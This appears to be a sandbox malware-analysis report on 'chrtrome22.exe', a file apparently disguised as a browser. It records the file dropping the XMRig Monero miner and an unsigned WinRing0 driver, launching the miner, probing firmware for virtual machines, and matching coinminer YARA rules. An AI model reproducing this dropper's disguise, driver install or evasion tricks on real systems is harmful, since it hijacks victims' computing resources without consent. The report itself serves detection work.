Source: C:\Users\user\Desktop\chrtrome22.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\Security	Jump to behavior
Source: C:\Users\user\Desktop\chrtrome22.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\Security\PowerShell	Jump to behavior
Source: C:\Users\user\Desktop\chrtrome22.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\Security	Jump to behavior
Source: C:\Users\user\Desktop\chrtrome22.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\Security\PowerShell	Jump to behavior
Source: C:\Users\user\Desktop\chrtrome22.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\Security	Jump to behavior
Source: C:\Users\user\Desktop\chrtrome22.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\Security\PowerShell	Jump to behavior
Source: C:\Users\user\Desktop\chrtrome22.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\Security	Jump to behavior
Source: C:\Users\user\Desktop\chrtrome22.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\Security\PowerShell	Jump to behavior

Reads the System eventlog

Source: C:\Users\user\Desktop\chrtrome22.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\System	Jump to behavior
Source: C:\Users\user\Desktop\chrtrome22.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\System\PowerShell	Jump to behavior
Source: C:\Users\user\Desktop\chrtrome22.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\System	Jump to behavior
Source: C:\Users\user\Desktop\chrtrome22.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\System	Jump to behavior
Source: C:\Users\user\Desktop\chrtrome22.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\System	Jump to behavior
Source: C:\Users\user\Desktop\chrtrome22.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\System\PowerShell	Jump to behavior

System Summary

Malicious sample detected (through community Yara rule)

Source: 2.0.xmrig.exe.7ff640ec0000.0.unpack, type: UNPACKEDPE	Matched rule: MacOS_Cryptominer_Xmrig_241780a1 Author: unknown
Source: 2.0.xmrig.exe.7ff640ec0000.0.unpack, type: UNPACKEDPE	Matched rule: Detects Monero Crypto Coin Miner Author: Florian Roth
Source: 2.0.xmrig.exe.7ff640ec0000.0.unpack, type: UNPACKEDPE	Matched rule: Detects coinmining malware Author: ditekSHen
Source: 00000002.00000000.1753490788.00007FF6412E7000.00000002.00000001.01000000.00000007.sdmp, type: MEMORY	Matched rule: MacOS_Cryptominer_Xmrig_241780a1 Author: unknown
Source: Process Memory Space: xmrig.exe PID: 2312, type: MEMORYSTR	Matched rule: MacOS_Cryptominer_Xmrig_241780a1 Author: unknown
Source: C:\xmrig\xmrig-6.22.2\xmrig.exe, type: DROPPED	Matched rule: MacOS_Cryptominer_Xmrig_241780a1 Author: unknown
Source: C:\xmrig\xmrig-6.22.2\xmrig.exe, type: DROPPED	Matched rule: Detects Monero Crypto Coin Miner Author: Florian Roth
Source: C:\xmrig\xmrig-6.22.2\xmrig.exe, type: DROPPED	Matched rule: Detects coinmining malware Author: ditekSHen

Source: C:\xmrig\xmrig-6.22.2\xmrig.exe

Process Stats: CPU usage > 49%

Source: C:\Users\user\Desktop\chrtrome22.exe

File created: C:\xmrig\xmrig-6.22.2\WinRing0x64.sys

Jump to behavior

Source: Joe Sandbox View

Dropped File: C:\xmrig\xmrig-6.22.2\WinRing0x64.sys 11BD2C9F9E2397C9A16E0990E4ED2CF0679498FE0FD418A3DFDAC60B5C160EE5

Source: chrtrome22.exe, 00000000.00000000.1662058300.0000000000622000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameiq33xp0h.exeX vs chrtrome22.exe
Source: chrtrome22.exe, 00000000.00000002.1755040993.0000000002EF7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamexmrig.exe, vs chrtrome22.exe
Source: chrtrome22.exe, 00000000.00000002.1755040993.00000000029EA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFileName vs chrtrome22.exe
Source: chrtrome22.exe, 00000000.00000002.1755040993.0000000002ED8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameWinRing0.sys2 vs chrtrome22.exe
Source: chrtrome22.exe, 00000000.00000002.1755040993.0000000002971000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilename vs chrtrome22.exe
Source: chrtrome22.exe, 00000000.00000002.1755040993.0000000002EE1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameWinRing0.sys2 vs chrtrome22.exe
Source: chrtrome22.exe	Binary or memory string: OriginalFilenameiq33xp0h.exeX vs chrtrome22.exe

Source: chrtrome22.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 2.0.xmrig.exe.7ff640ec0000.0.unpack, type: UNPACKEDPE	Matched rule: MacOS_Cryptominer_Xmrig_241780a1 reference_sample = 2e94fa6ac4045292bf04070a372a03df804fa96c3b0cb4ac637eeeb67531a32f, os = macos, severity = x86, creation_date = 2021-09-30, scan_context = file, memory, license = Elastic License v2, threat_name = MacOS.Cryptominer.Xmrig, fingerprint = be9c56f18e0f0bdc8c46544039b9cb0bbba595c1912d089b2bcc7a7768ac04a8, id = 241780a1-ad50-4ded-b85a-26339ae5a632, last_modified = 2021-10-25
Source: 2.0.xmrig.exe.7ff640ec0000.0.unpack, type: UNPACKEDPE	Matched rule: MAL_XMR_Miner_May19_1 date = 2019-05-31, author = Florian Roth, description = Detects Monero Crypto Coin Miner, score = d6df423efb576f167bc28b3c08d10c397007ba323a0de92d1e504a3f490752fc, reference = https://www.guardicore.com/2019/05/nansh0u-campaign-hackers-arsenal-grows-stronger/
Source: 2.0.xmrig.exe.7ff640ec0000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_CoinMiner02 author = ditekSHen, description = Detects coinmining malware
Source: 00000002.00000000.1753490788.00007FF6412E7000.00000002.00000001.01000000.00000007.sdmp, type: MEMORY	Matched rule: MacOS_Cryptominer_Xmrig_241780a1 reference_sample = 2e94fa6ac4045292bf04070a372a03df804fa96c3b0cb4ac637eeeb67531a32f, os = macos, severity = x86, creation_date = 2021-09-30, scan_context = file, memory, license = Elastic License v2, threat_name = MacOS.Cryptominer.Xmrig, fingerprint = be9c56f18e0f0bdc8c46544039b9cb0bbba595c1912d089b2bcc7a7768ac04a8, id = 241780a1-ad50-4ded-b85a-26339ae5a632, last_modified = 2021-10-25
Source: Process Memory Space: xmrig.exe PID: 2312, type: MEMORYSTR	Matched rule: MacOS_Cryptominer_Xmrig_241780a1 reference_sample = 2e94fa6ac4045292bf04070a372a03df804fa96c3b0cb4ac637eeeb67531a32f, os = macos, severity = x86, creation_date = 2021-09-30, scan_context = file, memory, license = Elastic License v2, threat_name = MacOS.Cryptominer.Xmrig, fingerprint = be9c56f18e0f0bdc8c46544039b9cb0bbba595c1912d089b2bcc7a7768ac04a8, id = 241780a1-ad50-4ded-b85a-26339ae5a632, last_modified = 2021-10-25
Source: C:\xmrig\xmrig-6.22.2\xmrig.exe, type: DROPPED	Matched rule: MacOS_Cryptominer_Xmrig_241780a1 reference_sample = 2e94fa6ac4045292bf04070a372a03df804fa96c3b0cb4ac637eeeb67531a32f, os = macos, severity = x86, creation_date = 2021-09-30, scan_context = file, memory, license = Elastic License v2, threat_name = MacOS.Cryptominer.Xmrig, fingerprint = be9c56f18e0f0bdc8c46544039b9cb0bbba595c1912d089b2bcc7a7768ac04a8, id = 241780a1-ad50-4ded-b85a-26339ae5a632, last_modified = 2021-10-25
Source: C:\xmrig\xmrig-6.22.2\xmrig.exe, type: DROPPED	Matched rule: MAL_XMR_Miner_May19_1 date = 2019-05-31, author = Florian Roth, description = Detects Monero Crypto Coin Miner, score = d6df423efb576f167bc28b3c08d10c397007ba323a0de92d1e504a3f490752fc, reference = https://www.guardicore.com/2019/05/nansh0u-campaign-hackers-arsenal-grows-stronger/
Source: C:\xmrig\xmrig-6.22.2\xmrig.exe, type: DROPPED	Matched rule: MALWARE_Win_CoinMiner02 author = ditekSHen, description = Detects coinmining malware

Source: WinRing0x64.sys.0.dr

Binary string: \Device\WinRing0_1_2_0

Source: classification engine

Classification label: mal100.evad.mine.winEXE@5/14@5/5

Source: C:\Users\user\Desktop\chrtrome22.exe

File created: C:\Users\user\Downloads\xmrig.zip

Jump to behavior

Source: C:\Users\user\Desktop\chrtrome22.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2180:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6544:120:WilError_03

Source: C:\Users\user\Desktop\chrtrome22.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_zw0o1iqr.gns.ps1

Jump to behavior

Source: chrtrome22.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: chrtrome22.exe

Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 49.83%

Source: C:\Users\user\Desktop\chrtrome22.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\chrtrome22.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: chrtrome22.exe	ReversingLabs: Detection: 63%
Source: chrtrome22.exe	Virustotal: Detection: 58%

Source: unknown	Process created: C:\Users\user\Desktop\chrtrome22.exe "C:\Users\user\Desktop\chrtrome22.exe"
Source: C:\Users\user\Desktop\chrtrome22.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\chrtrome22.exe	Process created: C:\xmrig\xmrig-6.22.2\xmrig.exe "C:\xmrig\xmrig-6.22.2\xmrig.exe" --config=C:\xmrig\xmrig-6.22.2\config.json
Source: C:\xmrig\xmrig-6.22.2\xmrig.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\chrtrome22.exe	Process created: C:\xmrig\xmrig-6.22.2\xmrig.exe "C:\xmrig\xmrig-6.22.2\xmrig.exe" --config=C:\xmrig\xmrig-6.22.2\config.json	Jump to behavior

Source: C:\Users\user\Desktop\chrtrome22.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\chrtrome22.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\chrtrome22.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\chrtrome22.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\chrtrome22.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\chrtrome22.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\chrtrome22.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\chrtrome22.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\chrtrome22.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\chrtrome22.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\chrtrome22.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\chrtrome22.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\chrtrome22.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Users\user\Desktop\chrtrome22.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Users\user\Desktop\chrtrome22.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Users\user\Desktop\chrtrome22.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Users\user\Desktop\chrtrome22.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\chrtrome22.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\chrtrome22.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\Desktop\chrtrome22.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\chrtrome22.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\chrtrome22.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\chrtrome22.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\chrtrome22.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\chrtrome22.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\Desktop\chrtrome22.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\chrtrome22.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\chrtrome22.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\chrtrome22.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\Desktop\chrtrome22.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\chrtrome22.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\chrtrome22.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\chrtrome22.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\chrtrome22.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\chrtrome22.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\chrtrome22.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\chrtrome22.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\chrtrome22.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\chrtrome22.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\chrtrome22.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\chrtrome22.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\chrtrome22.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\chrtrome22.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\chrtrome22.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\chrtrome22.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\chrtrome22.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\chrtrome22.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\chrtrome22.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\chrtrome22.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\chrtrome22.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\chrtrome22.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\chrtrome22.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\chrtrome22.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\chrtrome22.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\chrtrome22.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\chrtrome22.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\xmrig\xmrig-6.22.2\xmrig.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\xmrig\xmrig-6.22.2\xmrig.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\xmrig\xmrig-6.22.2\xmrig.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\xmrig\xmrig-6.22.2\xmrig.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\xmrig\xmrig-6.22.2\xmrig.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\xmrig\xmrig-6.22.2\xmrig.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\xmrig\xmrig-6.22.2\xmrig.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\xmrig\xmrig-6.22.2\xmrig.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\xmrig\xmrig-6.22.2\xmrig.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\xmrig\xmrig-6.22.2\xmrig.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\xmrig\xmrig-6.22.2\xmrig.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\xmrig\xmrig-6.22.2\xmrig.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\xmrig\xmrig-6.22.2\xmrig.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\xmrig\xmrig-6.22.2\xmrig.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\xmrig\xmrig-6.22.2\xmrig.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\xmrig\xmrig-6.22.2\xmrig.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\xmrig\xmrig-6.22.2\xmrig.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\xmrig\xmrig-6.22.2\xmrig.exe	Section loaded: explorerframe.dll	Jump to behavior
Source: C:\xmrig\xmrig-6.22.2\xmrig.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\xmrig\xmrig-6.22.2\xmrig.exe	Section loaded: fwpuclnt.dll	Jump to behavior

Source: C:\Users\user\Desktop\chrtrome22.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0EE7644B-1BAD-48B1-9889-0281C206EB85}\InprocServer32

Jump to behavior

Source: C:\Users\user\Desktop\chrtrome22.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source: chrtrome22.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: chrtrome22.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:

Source: xmrig.exe.0.dr	Static PE information: section name: _RANDOMX
Source: xmrig.exe.0.dr	Static PE information: section name: _TEXT_CN
Source: xmrig.exe.0.dr	Static PE information: section name: _TEXT_CN
Source: xmrig.exe.0.dr	Static PE information: section name: _RDATA

Persistence and Installation Behavior

Sample is not signed and drops a device driver

Source: C:\Users\user\Desktop\chrtrome22.exe

File created: C:\xmrig\xmrig-6.22.2\WinRing0x64.sys

Jump to behavior

Source: C:\Users\user\Desktop\chrtrome22.exe	File created: C:\xmrig\xmrig-6.22.2\xmrig.exe			Jump to dropped file
Source: C:\Users\user\Desktop\chrtrome22.exe	File created: C:\xmrig\xmrig-6.22.2\WinRing0x64.sys			Jump to dropped file

Source: C:\Users\user\Desktop\chrtrome22.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\chrtrome22.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\chrtrome22.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\chrtrome22.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\chrtrome22.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\chrtrome22.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\chrtrome22.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\chrtrome22.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\chrtrome22.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\chrtrome22.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\chrtrome22.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\chrtrome22.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\chrtrome22.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\chrtrome22.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\chrtrome22.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\chrtrome22.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\chrtrome22.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\chrtrome22.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\chrtrome22.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\chrtrome22.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\chrtrome22.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\chrtrome22.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\chrtrome22.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\chrtrome22.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\chrtrome22.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\chrtrome22.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\chrtrome22.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\chrtrome22.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\chrtrome22.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\chrtrome22.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\chrtrome22.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\chrtrome22.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\chrtrome22.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\chrtrome22.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\chrtrome22.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\chrtrome22.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\chrtrome22.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\chrtrome22.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\chrtrome22.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\chrtrome22.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\chrtrome22.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\chrtrome22.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\chrtrome22.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\chrtrome22.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\chrtrome22.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\chrtrome22.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\chrtrome22.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\chrtrome22.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\chrtrome22.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\chrtrome22.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\chrtrome22.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\chrtrome22.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\chrtrome22.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\chrtrome22.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\chrtrome22.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\chrtrome22.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\chrtrome22.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\chrtrome22.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\chrtrome22.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\chrtrome22.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\chrtrome22.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\chrtrome22.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\chrtrome22.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\chrtrome22.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\chrtrome22.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\chrtrome22.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\chrtrome22.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\chrtrome22.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\chrtrome22.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\chrtrome22.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\chrtrome22.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\chrtrome22.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\chrtrome22.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\chrtrome22.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\chrtrome22.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\chrtrome22.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\chrtrome22.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\xmrig\xmrig-6.22.2\xmrig.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\xmrig\xmrig-6.22.2\xmrig.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\xmrig\xmrig-6.22.2\xmrig.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\xmrig\xmrig-6.22.2\xmrig.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\xmrig\xmrig-6.22.2\xmrig.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Query firmware table information (likely to detect VMs)

Source: C:\xmrig\xmrig-6.22.2\xmrig.exe

System information queried: FirmwareTableInformation

Jump to behavior

Source: C:\Users\user\Desktop\chrtrome22.exe	Memory allocated: D60000 memory reserve \| memory write watch			Jump to behavior
Source: C:\Users\user\Desktop\chrtrome22.exe	Memory allocated: 1A970000 memory reserve \| memory write watch			Jump to behavior

Source: C:\Users\user\Desktop\chrtrome22.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\chrtrome22.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\chrtrome22.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\user\Desktop\chrtrome22.exe	Thread delayed: delay time: 599890	Jump to behavior
Source: C:\Users\user\Desktop\chrtrome22.exe	Thread delayed: delay time: 599781	Jump to behavior
Source: C:\Users\user\Desktop\chrtrome22.exe	Thread delayed: delay time: 599671	Jump to behavior
